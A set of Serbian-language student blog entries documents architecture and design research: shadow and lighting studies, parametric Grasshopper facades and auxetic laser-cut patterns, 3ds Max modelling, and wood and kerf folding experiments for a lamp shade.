U ovoj fazi sam prvo pretpostavila jedan izvor svetlosti, koji bi bacao senku cilindrične geometrije, gde bi slika koja se dobije bila formirana od osvetljenog dela gde se senka završava i od drugog dela koji je pod senkom, i tako dobijem celu sliku koju sam pretpostavila.

rezultat:

-kod ovog rešenja kombinovanja senke i svetlosti mi se ne sviđa sto se ne vidi jasno zeljena slika, te sam u drugoj opciji probala da dobijem konture pretpostavljene slike samo formiranjem spoljasnje linije slike linijom gde se senka završava.

rezultat:

-trebalo bi poraditi na ostrini senke koja se dobije, ili dodavanjem jos cilindrične geometrije, ili menjanjem izvora svetlosti.

ideja: napraviti komplikovaniju sliku sa više od dva izvora osvetljenja

-elementi prakticne primene neke metode – slika quadrilateralne tesselacije
-pristup – tokom istrazivanja smo trazili idealan oblik koji bi mogli da uzmemo za modul, trebao nam je oblik koji bi mogao da se stavi na ravnu ili krivu fasadu, prvi izbor je bio Voronoi celija ali ubrzo smo odustali od te ideje zato sto je tesko napraviti modul od voronoi celije, ujedno kada smo dosli do problema oko osuncanosti opet se javio problem kako napraviti nadstresnicu a da prati neki modul, na kraju smo se odlucili za quadrilateralnu teselaciju koja je resila sve navedene probleme, ovo resenje je dovelo do toga da na fasadu mogu da se stave 3 razlicite biljke u razlicitim polozajima sa razlicitom velicinom

Daljim istraživanjem analizirala sam osunčanost objekta tokom sva četiri godišnja doba, za vreme prolećne i jesenje ravnodnevnice, letnje dugodnevnice i zimske kratkodnevnice u 12h. Ugao zraka za geografski položaj Novog Sada izgleda ovako:

Proleće i jesen- upadni ugao približno 45°

Leto- upadni ugao približno 68°

Zima – upadni ugao približno 21°

Slikoviti prikaz se može dobiti u Sketchup programu uz postavljanje odovarajućih parametara.

Zaključila sam da sunčevi zraci dolaze do objekta samo leti i to ne u potpunosti. Idealni zrak nakon prelamanja o optičko telo bi trebalo da zaklapa ugao približno 77° sa horizontalnicom kako bi obasjao ceo objekat.

Preostaje pitanje kakvo optičko telo bi moglo da prelomi zrak na ovaj način, a da mu je oblik pogodan za rotaciju i da ne kvari izgled objekta. Proučavanjem optike i optičkih tela, došla sam do pretpostavke da će najviše odgovarati postavka sfernog sočiva napravljenog od stakla, sa indeksom refrakcije 1,5. Ovu pretpostavku sam analizirala u aplikaciji Ray Optics Simulation koja simulira zakone optike.

KORAK 1: Odabir vrste optičkog tela i nameštanje oblika

KORAK 2: Odabir zraka

KORAK 3: Postavljanje zraka približno pod 45 stepeni i analiza preloma

KORAK 4: Analiziranje promene situacije uz smanjenje i povećanje indeksa refrakcije

Smanjenjem indeksa refrakcije ugao prelamanja se povećava, što ne doprinosi našem cilju

Povećanje indeksa refrakcije rezultuje odbijanjem zraka u samom telu i preusmerenje najveće količine zraka na istu stranu gde se nalazi izvorni zrak, što takođe ne doprinosi našem cilju.

ZAKLJUČAK:

Simulacija dobijena sa sfernim sočivom od stakla sa indeksom refrakcije 1.5 je najpribližnije rešenju problema, što će dalje da se analizira u programima 3ds Max i Sketchup prilikom Vray renderovanja.

https://phydemo.app/ray-optics/simulator/

Na pocetku istrazivanja sam se bavila modelovanjem obicne šolje.

Zatim sam počela modelovanje šolje u obliku Groot-a. Prvo sam ubacila sliku u 3ds Max-u na osnovu koje sam je modelovala.

Zatim sam linijski isrtala samo jednu polovinu njegovog lica i na osnovu toga napravila šolju.

Potom sam se bavila gornjim delom šolje tj. njegovom glavom i napravila neravnine.

S obzirom da šolja ne moze da stoji ako ima ovako usko dno, donji deo sam uklonila i napravila da ona ustvari bude stabilna.

Zatim sam se bavila neravninama na samoj šolji.

Pristup rješavanju problema:

Kada odaberemo portret poznate ličnosti, treba da postavimo optimalan broj tačaka koje će se povezivati u strune. Koncept programa funkcioniše na način da treba da odaberemo koliki će biti broj tamnijih tačaka, odnosno njihovo rastojanje, i to isto i za svjetlije tačke. Nakon toga, treba da pustimo da se određen broj tačaka povezuje u strune. Na taj način možemo odrediti koja je najbolja opcija za inicijalno postavljanje tačaka na fotografiji, kako bi sa što manje njihovih povezivanja uspjeli prepoznati ličnost. U daljem istraživanju, pokušaćemo sa što više portreta i podešavanjem  tačaka, da vidimo koji je najbolji način za njihov raspored, kako bi došli do željenog cilja.

kod u grashopperu

Druga faza projekta odnosila se na izbor paterna koji će nam poslužiti prilikom izrade probnog uzorka auxetic navlake i  njegovog formiranja i pripreme za lasersko sečenje u Grasshopper i Rhino programu.

Prvenstveno smo izabrali komponentu pod nazivom ,,TriGrid”- koji se sastoji od 2D trougaonih ćelija, i definisali do kojih se granica njegova veličina i broj ćelija kreću.

TriGrid-Triangular Grid ( 2D mreža sa trougaonim ćelijama)

Zatim smo ovoj mreži dodali komonentu Crv ( Curve), kako bi izdvojili linije,  potom Explode, kako bi odvojili krive,   komponentu Item – kako bi imali listu svih izdvojenih krivi, i konačno, DupPt (Remove Duplicate Points)- komponentu koja uklanja duplirane vertekse,  nastale usled Explode komponente i odvajanja krivih. Prethodno pomenute komponente smo iskoristili kako bi došli do pojedinačnih verteksa, odnosno, temena trouglova koji čine TriGrid mrežu i koji će nam kasnije poslužiti za izradu izabranog paterna.

Izdvajanje verteksa kako bi kasnije formirali arkuse (Arc) oko svakog

Nakon toga smo odabrali u kojoj ravni i po kojim koordinatama (XY plane komponenta) i pod kojim uglom ( Degree komponenta – koju kasnije pretvaramo iz Dekartovog u Polarni koordinanti sistem (Rad)) će se delovi kružnice (Arc komponenta) formirati oko ranije pomenutih temena trouglova. Dodajemo Neg ( Negative) komponentu kako bi dobili isti oblik kao na izabranom paternu. Na kraju smo dodali komponentu Polar Array                      (ArrPolar),  kako bi sa sve tri strane formirali arkuse.

Formiranje delova kružnice (Arc) oko svakog verteksa

Array Polar- formiranje arkusa sa tri strane verteksa

Na osnovu izabranog paterna, možemo primetiti da će budući materijal biti isečen po delovima kružnice- Arkusima (Arc). Kako bismo izbegli nepravilno širenje/ skupljanje, ili neke druge probleme deformacija materijala, definisali smo određene parametre i proveravali do kojih granica se ti parametri mogu menjati ( kao što je na primer, dužina Arc-usa, ili njihova međusobna udaljenost ), a da ne dođe do međusobnog preklapanja ili sečenja linija Arcusa.

Nepromenjeni parametri dimenzija arkusa

Promenjeni parametri dimenzija arkusa

Obzirom da izrađujemo navlaku za torbe ili rančeve, može doći do nepravilne i nejednake promene i raspodele samih Arcusa. Negde može doći do sakupljanja, negde do preteranog širenja, a negde se neće dogoditi nikakva promena. Pomoću Bounding Box-a ( BBox) i Evaluate Surface( EvalSrf)  ponovo objedinjujemo sve krive iz ranije razdvojenog TriGrid paterna. Nakon toga, MD Slider komponentom, definišemo dve referentne tačke u prostoru, a zatim Closest Point (CP) komponentom definišemo dve tačke na našoj izabranoj mreži.

Definisanje dve referentne tačke

Definisanjem ovih tačaka kao i definisanjem granica do kojih se Arcusi mogu menjati, mi imamo uvid u to kako će se sama struktura rasporediti po površini ili objektu na koju će biti aplicirana. Menjanjem ovih vrednosti, možemo primetiti kako se svi Arcusi u neposrednoj okolini izabranih tačaka šire, dok se Arcusi koji su dalji od referentnih tačaka, skupljaju.

Nepromenjeni parametri- udaljenost arkusa jedni od drugih je ista u svim tačkama mreže

Promenjeni parametri- možemo primetiti kako je udaljenost arkusa jedni od drugih veća što su arkusi bliži referentnim tačkama, a manja što su arkusi dalji od referentnih tačaka

Proces modelovanja držača za vinske flaše- Faza 2

Kriterijumi koje novonastali držač u odnosu na postojeće interpretacije treba da zadovolji su:

1. Estetski zadovoljiti zahteve kupaca
2. Pomoću manje materijala multipliciranjem elemenata dobiti držač koji može da drži 5-8 flaša
3. Pristupačnija cena

Metod rada: Rhino i Grasshopper i lasersko sečenje

Potrebno je siluetu držača preneti na drvenu ploču debljine 5mm koja se lasersi obradjuje. Tako dobijen element umnožiti određen broj puta kako bi se dobio držač. Ploče treba da se ojačaju na način gde će 3 šipke debljine 1cm prolaziti kroz celu strukturu radi postizanja čvrstoće i kompaktnosti.

Pomoću programa Grasshopper modeluje se fiksni brisolej sa kružnim rotirajućim otvorima, čiji se radijusi menjaju prema zadatim points attractors-ima.

Moguće se korigovanje najmanjeg, najvećeg prečnika i ugla rotacije otvora na fasadnom brisoleju.

https://www.pinterest.com/pin/129337820541462197/

Oblast: Vizualizacija

Tema i predmet: Ispitivanje opažanja boje predmeta pod različitim izvorima svetlosti.

Stanje u oblasti:

Inspiracija: James Turrell – Skyspace

Problem: Opažanje boje je subjektivno. Boja predmeta zavisi od svetlosnog izvora pod kojim se posmatra. Ukoliko posmatramo zelenu jabuku u podne i na zalasku sunca ona će nam izgledati iste boje, iako je svetlost pod kojom je posmatramo različita pa samim tim i njena boja.

Cilj: Postizanje efekta promene boje predmeta primenom osvetljenja.

Kriterijum: Mogućnost manipulisanja boje predmeta korišćenjem osvetljenja.

Primenjeni alati i metode: 3dsMax + Vray

Hipoteza: Moguće je primenom adekvatnog osvetljenja promeniti percepciju boje predmeta.

Pomoću programa Grasshopper modelovan je fiksni brisolej sa kružnim otvorima, čiji se radijusi menjaju prema zadatim point attractors-ima.

Moguće je korigovanje najmanjeg i najvećeg prečnika otvora na fasadnom brisoleju.

https://www.pinterest.com/pin/129337820541462197/

Metod rada: Rhino + Grasshopper

U drugom delu izdvojili smo četiri glavna pitanja koja se javljaju:

1. Kako formirati smislenu strukturu

2. Kako i da li je moguće uklopiti anamorfnu reč u istu, korišćenjem isključivo boje

3. Koja reč je u pitanju

4. O kakvom prosotru govorimo

1: formiranje strukture

Prvo smo razmotrili o kojoj debljini strukture govorimo (30cm od ravni), zatim debljinu samih slojeva (2cm) i ukupnom broju istih (15), nakon čega smo definisali i konturu svakog sloja kako bi ih potom pojedinačno fabrikovali.

Problem: 

Glavni problem bio je što određene krive nisu bile zatvorene na nekim od slojeva koji su presečeni, odnosno, kako napraviti površ od njih?

Odlučili smo se da svaki sloj pojedinačno proverimo i dodamo deo krive na onim mestima gde nedostaje, obzirom da je to predstavljalo najlakše rešenje, kako bi na kraju uspeli svaki od njih extrudovati i dobiti solid.

Proces formiranja svakog pojedinačnog sloja:

Dobijena forma:

Inspiracija:

Početak procesa podrazumeva izradu koda koji od izabrane slike izvlači konturu. Potom se uz pomoć tačkastog osvetljenja dobija presek geometrije projektovane na više ravni iz kojih se dobija senka. Zatim delimo dobijenu geometriju na više manjih delova koji se skladno rasporede da bi se dobila željena senka.

U drugoj fazi smo istraživali menjanje veličine otvora na fasadi u zavisnosti od rasporeda drveća. Za modelovanje je korišćen Rhino/Grasshopper.

Metod:

Modelovali smo 4 fasade sa heksagonalnim otvorima:

Potom je modelovan luk koji predstavlja pružanje sunčevih zraka:

U zavisnosti od rasporeda drveća u odnosu na fasadu, menjaju se i otvori na fasadi, tako što na mestima gde je senka drveća najveća se nalaze i najveći otvori.

Za modelovanje je koriscen Rhino/Grasshopper.

Za pocetak sam nacrtala pravougaonik odgovarajucih dimenzija.

Nakon toga na njemu je odradjen grid i upotreba trougaonih panela iz LunchBoxa kako bi se dobili okviri.

Potom je postavljen Point oko kog su random ukidani/otvarani trougaoni paneli.

Da bi se dodala debljina tih panela koriscen je Loft.

Ispitivanje ponašanja materijala kroz različite šablone zasecanja (wood folding)

Uzorci pločice dimenzija 19x19cm (lepenke 2mm i medijapan 2,5mm) se zasecaju po istom šablonu i uporedno analiziraju. Glavni kriterijumi po kojima se ocenjuje kvalitet datog materijala :

1. fleksibilnos materijala
2. lakoća obrade
3. estetske karakteristike

korišćeni šabloni:

šablon 1 – vertikalni prorezi na 0,5 cm

šablon 2- vertikalni prorezi na 1 cmšablon 3- kosi prorezi na 1 cm

šablon 4 – kosi prorezi na 2 cm

Zaključak analize ponašanje materijala:

Lepenka je zahvalniji materijal u pogledu fleksibilnosti i obrade materijala (lakše se seče, ne ostaju veliki tragovi sečenja, elastičnija je te se lakše oblikuje, teže dolazi do preloma, lomljenja ili cepanja materijala…) međutim, na polju boje i teksture medijapan je bolji izbor.

Ispitivanje načina savijanja lepenke (wood folding):

Na osnovu prethodno pomenute analize za sledeće istraživanje odabrana je lepenka.

• Ukoliko ploču zasecamo pravim linijama (bile one paralelne naspramnim ivicama ploče ili ne) omogućićemo savijanje ploče u pravcu koji je normaran na pravac zasečenih linija.

• Izlomljene prave dozvoljavaju manji stepen savijanja u odnosu na neizlomljene prave (dolazi do listanja slojeva materijala ukoliko previše savijamo ploču).

• U zavisnosti od gustine zasečenih linija ploča će biti više ili manje fleksibilna. Ova osobina se može iskoristiti kada želimo postići neki drugi oblik cilindra na primer, eliptični cilindar. Potrebno je gušće zarezati ploču na mestima gde je potrebna veća zakrivljenost figure.

• Na sledećoj slici uočićemo da iako zarežemo ploču krivama, ploča će ponovo prilikom savijanja težiti geometrijskoj figuri cilindra, sve dok su krive ujednačenog pravca (prva ploča sa sllike). Ploča će se slabije savijati u koliko je zarezujemo krivama. Na drugoj ploči sa slike isečeni su dublji prorezi  što je omogućilo veću fleksibilnost, međutim ovakav pristup nije dobar jer se ploča lako može raspasti zbog previše tankih spojeva. Kod treće ploče se ne stiče utisak da prilikom savijanja formira oblik cilindra jer je zasečena krivama koje veoma odstupaju od originalnog pravolinijskog pravca zasecanja. Ovakav pristup je jedan od najefikasnijih jer ne zahteva velike pripreme i sadrži širok spektar oblika koji se mogu upotrebiti kako bi se stekao utisak da figura nije pravilan cilindar. Kako ne bi došlo do listanja delova ploče i njenog raspadanja, potrebno je na napraviti prsten na krajevima ploče sa prorezima koji su normalni na ivicu ploče.

• Pretpostavka da se od ravne ploče nekog krutog materijala, pomoću wood folding tehnike može formirati bilo kakva dvostruko zakrivljena površ ili figura slobodne forme, nije tačna. Mogćnost da površ bude dvostruko zakrivljena isključivo zavisi od osobina materijala od kojih je površ napravljena. Na sledećem primeru vidimo da je lepenka bez proreza dovoljno elastična da dobije isti oblik kao i ploča sa prorezima.

Drugi dokaz da pretpostavka nije tačna

• Koristeći tutorijal sa linka: https://www.instructables.com/Curved-Kerf-Bending-Part-2/
• Modelovane su 2 različite zakrivljene površi. Prva dvostruko i druga jednostruko zakrivljena površ. U slučaju dvostruko zakvljene površi program je izbacio obaveštenje da ne može verodostojno da razvije površ.

 Dvostruko zakrivljena površ, njena razvojna forma i šablon sečenja.

Jednostruko zakrivljena površ, njena razvojna forma i šablon sečenja.

Continue reading →

Na osnovu istraživanja detaljnosti i strukture postojećih lampi, zaključujemo da je potreban velik nivo detaljnosti, na milimetarskom nivou, samo na delovima gde želimo predstaviti urušavanje zida, dok ostali elementi mogu biti jednostavniji. Takođe od ključne je važnosti dobro izabrati segment objekta koji želimo da prikažemo i ispitati najbolju kompoziciju.

Praktični deo-izrada u 3ds max-u

1. Ubacivanje osnove i preseka i referentnih fotografija .
2. Modelovanje osnovne geometrije (box, cylinder,tube) i otvora (compound objects, proboolean, subtraction).

Prva dva koraka se preskaču ukoliko postoji gotov 3D model manastira.

3. Pozicioniranje osvetljenja (led sijalice) i ubacivanje lampe bez detalja u prethodno napravljenu šupljinu u zidu, kako bi se lakše odradio sledeći korak.
4. Dodavanje elemenata i detalja u vidu urušenog zida i teksture stene (kamena).
5. Pozicioniranje kamere i izrada rendera.

-Dodavanje elemenata i detalja u vidu urušenog zida i teksture stene (kamena)

Primenjene metode:

Metoda 1

Modelovanje unutrašnjosti uz pomoć alatki tessellate i paint deformation brush (push/pull). Model enterijera ili eksterijera objekta je dodat nakon ovog koraka.

• Mogu se dobiti dobri rezultati ali uz puno truda i napora, veoma spor proces.
• Utiče na okolnu geometriju, neophodno je veće planiranje prvobitne bazne geometrije.

Prikaz primene metode 1 na jednostavnoj geometriji kocke:

Prikaz primene metode 1 na gotovom modelu manastira:

Metoda 2

Modelovanje kamena i korišćenje operacije proboolean kako bi se oduzeo deo geometrije.

Kamen (low poly rock) je dobijen na sledeći način: box je zaobljen pomoću turbosmooth-a, određen je broj iteracija, a zatim je dodat i displace (map:general-cellular).

Prikaz primene metode 1 na jednostavnoj geometriji kocke:

Urađena je analiza određenih vrsta spojeva, pomoću kojih je napravljen sto od 3 vrsta spojeva. Sve spojeve je moguće podeleliti po horizontali na 3 dela što olakšava kasniju fabrikaciju. Sama analiza je rađena u Sketchup-u sobzirom na jednostavnost geometrije u “japanese joinery”-u

Za dalju analizu bilo bi neophodno pronaći spojeve koji su pod određenim uglom sobzirom da bi to doprinelo stabilnosti konstrukcije stola, kao i još različitih spojeva koji bi se mogli podeliti na 3 dela po horizontali i možda bili stabilniji.

Bilo bi zanimljivo uraditi i analizu stabilnosti određenih spojeva, poput ovog koji je ispod označen.

Druga faza rada na projektu odnosila se na modelovanje same Hilbertove krive i pokušaja da se uspostavi logika samog multipliciranja iste.

Krenulo se od toga da se napravi jedan deo od 3 ivice koji će se skalirati i rotirati, kao i na kraju spojiti i dobiti jedan deo krive. Na kraju se ti delovi multipliciraju i rotiraju kao deo krive.

Kao metoda za pravljenje je isproban i mirror kako bi se dobili delovi krive i koji bi se kasnije spojili u jednu celu krivu.

Kako slagalica ne bi morala da se pravi manuelno, postupak se primenio u Grasshopper-u. Kako je problem predstavljala sama izrada krive, krenulo se od kvadarata kojem se mogu menjati dimenzije u zavisnosti kojih dimenzija želimo da bude slagalica. Zatim su uzeta temena kvadrata, uradjen scale, i tim novim tačkama dobijeni centri novih kvadrata.

Uz pomoć Grasshopper plugin-a Anemone ovaj postupak se može ponavljati koliko god želimo puta.

Pomoću numeracije tačaka se na kraju tačke spajaju i prave zadatu krivu.

FAZA 2

Modelovanje mozaičnih formi korišćenjem Grasshopper-a i potraga za smislenim idejnim rešenjem. Kreirana je površ kojoj je dodeljena debiljina i kodom smo zadali određeni broj linija koji je ću površ podeliti na manje delove. Zatim zadali smo da se kreiraju nove linije paralelne i/ili upravne sa početnim, odredili njihovu gustinu i debljinu. Kao rezultat dobili smo strukturu koja zadovoljava samu definiciju ali ne i estetiku.

Početak procesa podrazumeva izradu panela, koji će činiti jedan šablon sastavljen iz 4 takva dela, pod izabranim uglom. Počevši od dve tačke, jedna je teme pravougaonika, a druga polovina duže stranice, formiramo ivicu panela koju nakon toga kopiramo i rotiramo pod odredjenim uglom tako da tačka koja se nalazi na polovini duže stranice pravougaonika bude zajednička za obe ivice. Od te dve ivice se formira paralelogram koji se kopira nadovezujuci se na početni paralelogram, nakon čega se oni miroruju kako bi se dobio šablon za rad.

Na takvom šablonu se biraju mountain i valley ivice, po principu Miaura fold tehnike, koje se ispupče ili uvuku u zavisnosti od odabira. Dobijenu strukturu guramo da se sklopi, što kao papirni model funkcioniše. Posle dodavanja debljine strukturi, primecujemo nepravilnosti u odredjenim delovima.

Kako bismo stvorili iluziju trodimenzionalnog prostora iz 2D slike na što jednostavniji način, prvo je izdvojena jednostavna slika kao primer metode rada.

Fotografija je podeljena na segmente u zavisnosti od pravca prostiranja ravni. Pozadina i podloga su takođe izdvojene.

Prvobitna ideja je bila da se ravni koje se prostiru u istom pravcu samo izdvoje zajedno, a zatim tako ubace u Blender. Međutim, ovaj metod ne funkcioniše jer se ravni nalaze na drugom mestu u prostoru i trodimenzionalnost se u ovom slučaju ne može postiči.

Uzimajući ovo u obzir, potrebno je da dodamo još jedan korak – isecanje svake pojedinačne stranice svakog elementai ubacivanje u Blender.

svaku stranicu svakoig elementa pojedinačno eksportujemo kao png

sastavljanje pojedinačnih stranica elemenata

Ovim dobijamo dovoljno ubedljiv 3D efekat (ili više 2.5D) , a ovaj metod može se iskoristiti i na malo složenijim scenama, u određenoj meri. Postoji mogućnost da neke ravni fale na nekoj fotografiji/ crtežu kao posledica skraćenja i ugla slike. U ovom slučaju se delovi koji fale mogu ili na neki način dodati, ili sakriti u sceni u koliko ih je nemoguće dodati.

Metoda rada:
Isprobani su algoritmi u Grashopperu : “Game of life” , cellular automata i agregatnih sistema  za generisanje fraktala. Narednog puta treba pronaci nacin uskladjivanja ova 3 metoda zbog efikasnosti i dobijanja optimalnog rezultata.

OBLAST: Modelovanje i fabrikacija

PREDMET: Zakrivljene povši koje se mogu dobiti od ravnih površi primenom različitih tehnika tokom fabrikacije.

TEMA: Modelovanje i zabrikacija zakrivljenih povši koje se mogu dobiti od ravnih površi primenom različitih tehnika

STANJE U OBLASTI: Zbog jednostavnije proizvodnje, skladištenja ili trasporta veliki broj materijala poput drveta, metala ili raznih vrsta plastika na tržištu se mogu pronaći isključivo u obliku ravanskih površi (ploča). Ovo pretstavlja problem kada nam je potrabna zakrivljena površ. Materijali se u zavisnosti od svoji fizičkih osobina mogu savijati na različite načine. Kod drveta najčešće se koriste tehnike graviranja, zasecanja i sečenja na CNC mašinama (lasersko sečenje) kako bi se dobila zakrivljena površ. Dve tehnike koje su se najčešće spominjale tokom mog istraživanja jesu wood folding/ kerf folding i kerf bending. Veoma su slične i često se spominju u istom kontekstu pa sam izdvojila jednu od glavinih razlika koju sam primetila tokom istraživanja.

Wood folding je metoda zasecanja poloče na mestima gde je potrebno da se ploča savije. Linije (zaseci) najviše zavise od efekta ili oblika koji želite da postignete. Najčešće se koristi za tanje, fleksibilnije materijale, kada je u pitanju fabrikacija manjih dekorativnih elemenata u enterijeru i slično.

Kerf bending tefnika sečenja drveta jeste metoda sečenja i izostavljanja delova ploče po određenim šablonima. Neki od šablona koji se najčešće koriste su: straight line cut, wavy line cut, fillet lattice, beehive lattice, bastian latice, bending along a curve… Ova tehnika najčešće se koristi kada je potrebno saviti ploče velikih dimenzija ili debljine, za ograde, nameštaj, paviljone, nadstrešnice i slično.

Obe metode odlično funkcionišu za fabrikaciju jednostruko zakrivljenih površi. Za razliku od jednostruko zakrivljenih površi na fabrikaciju dvostruko zakrivljenih površi utiču različiti faktori poput osobina materijala (krutost) ili šablon zasecanja koji se koriti.  Pored šablona za jednostruko zakrivljene površi postoje šabloni i metode koji formiraju dvostruko zakrivljene povši (bending along a curve). Na sledećem liku možete videti dalje objašnjenje, primere i tutorijal za formiranje dvostruko zakrivljenih površi:  https://www.instructables.com/Curved-Kerf-Bending-Part-2/.

Različiti šabloni “kerf bending” tehnike sečenja drveta

Slika preuzeta sa: https://www.instructables.com/Curved-laser-bent-wood/

PROBLEM:

1. Tokom istraživanja nije pronađeno dovoljno informacija o tehnici wood folding, što dovodi do pitanja kakve se sve površi i figure sumogu formirati pomoću ove tehnike i da li se pomoću nje može formirati dvostruko zakrivljena površ.
2. Tokom fabrikacije zakrivljenih formi može doći do promene u geometriji.

CILJ: Proveriti mogućnosti “wood folding” tehnike tokom modelovanja i fabrikovanja abažura lampe.

KRITERIJUM: Napraviti prototip zakrivljene površi koja tokom fabrikacije ne gubi geometriju, ostaje identična 3D modelu.

PRIMENJENI ALATI: Rhnio + Grasshopper + fabrikacija

HIPOTEZA: Moguće je fabrikovati dvostuko zakrivljne površi pomoću “wood folding” tehnike savijanja drveta bez gubitka ili deformisanja geometrije 3D modela.